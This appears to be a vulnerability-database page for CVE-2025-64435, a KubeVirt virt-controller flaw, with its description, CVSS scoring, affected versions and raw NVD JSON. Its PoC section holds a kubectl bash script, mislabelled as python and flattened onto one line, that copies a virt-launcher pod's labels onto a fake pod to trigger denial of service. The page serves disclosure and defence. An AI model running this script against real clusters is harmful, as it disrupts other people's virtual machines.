Security Vulnerability Report
中文
CVE-2025-64435 CVSS 5.3 MEDIUM

CVE-2025-64435

Published: 2025-11-07 23:15:46
Last Modified: 2025-11-25 17:15:44

Description

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.7.0-beta.0, a logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). This vulnerability is fixed in 1.7.0-beta.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.7.0:alpha0:*:*:*:kubernetes:*:* - VULNERABLE
KubeVirt < 1.7.0-beta.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-64435 PoC - KubeVirt virt-controller label spoofing attack # Prerequisites: kubectl access to the cluster with permission to create pods # Step 1: Identify target VMI and its associated virt-launcher pod labels TARGET_VMI="your-vmi-name" NAMESPACE="default" echo "[+] Getting VMI labels..." VMI_LABELS=$(kubectl get vmi $TARGET_VMI -n $NAMESPACE -o jsonpath='{.metadata.labels}') echo "[+] VMI Labels: $VMI_LABELS" # Step 2: Get the original virt-launcher pod name ORIGINAL_POD=$(kubectl get pods -n $NAMESPACE -l kubevirt.io=vmi-launcher -o jsonpath='{.items[0].metadata.name}') echo "[+] Original virt-launcher pod: $ORIGINAL_POD" # Step 3: Get labels from the original virt-launcher pod echo "[+] Extracting labels from original pod..." ORIGINAL_POD_LABELS=$(kubectl get pod $ORIGINAL_POD -n $NAMESPACE -o jsonpath='{.metadata.labels}') # Step 4: Create a fake pod with identical labels # This pod will trick virt-controller into associating with the target VMI cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: fake-virt-launcher namespace: $NAMESPACE labels: $ORIGINAL_POD_LABELS spec: containers: - name: fake-container image: busybox:latest command: ["sleep", "3600"] EOF echo "[+] Fake pod created successfully" echo "[+] The virt-controller may now associate this fake pod with the VMI" echo "[+] This can lead to incorrect status updates and potential DoS" # Step 5: Verify the attack effect echo "[+] Checking VMI status after attack..." kubectl get vmi $TARGET_VMI -n $NAMESPACE

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64435", "sourceIdentifier": "[email protected]", "published": "2025-11-07T23:15:45.850", "lastModified": "2025-11-25T17:15:44.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.7.0-beta.0, a logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service). This vulnerability is fixed in 1.7.0-beta.0."}, {"lang": "es", "value": "KubeVirt es un complemento de gestión de máquinas virtuales para Kubernetes. Antes de la versión 1.7.0-beta.0, un fallo lógico en el virt-controller permite a un atacante interrumpir el control sobre una VMI en ejecución al crear un pod con las mismas etiquetas que el pod virt-launcher legítimo asociado a la VMI. Esto puede inducir a error al virt-controller para que asocie el pod falso con la VMI, lo que resulta en actualizaciones de estado incorrectas y potencialmente causando un DoS (Denial-of-Service). Esta vulnerabilidad está corregida en la versión 1.7.0-beta.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-703"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*", "versionEndIncluding": "1.6.3", "matchCriteriaId": "5115F453-4A3D-438D-A8F3-94C5E8451F45"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.7.0:alpha0:*:*:*:kubernetes:*:*", "matchCriteriaId": "6C13B76B-290B-4D75-AF75-54FEC43B75C4"}]}]}], "references": [{"url": "https://github.com/kubevirt/kubevirt/commit/9a6f4a3a707992038ef705da4cb3bba8c89d36ba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-9m94-w2vq-hcf9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}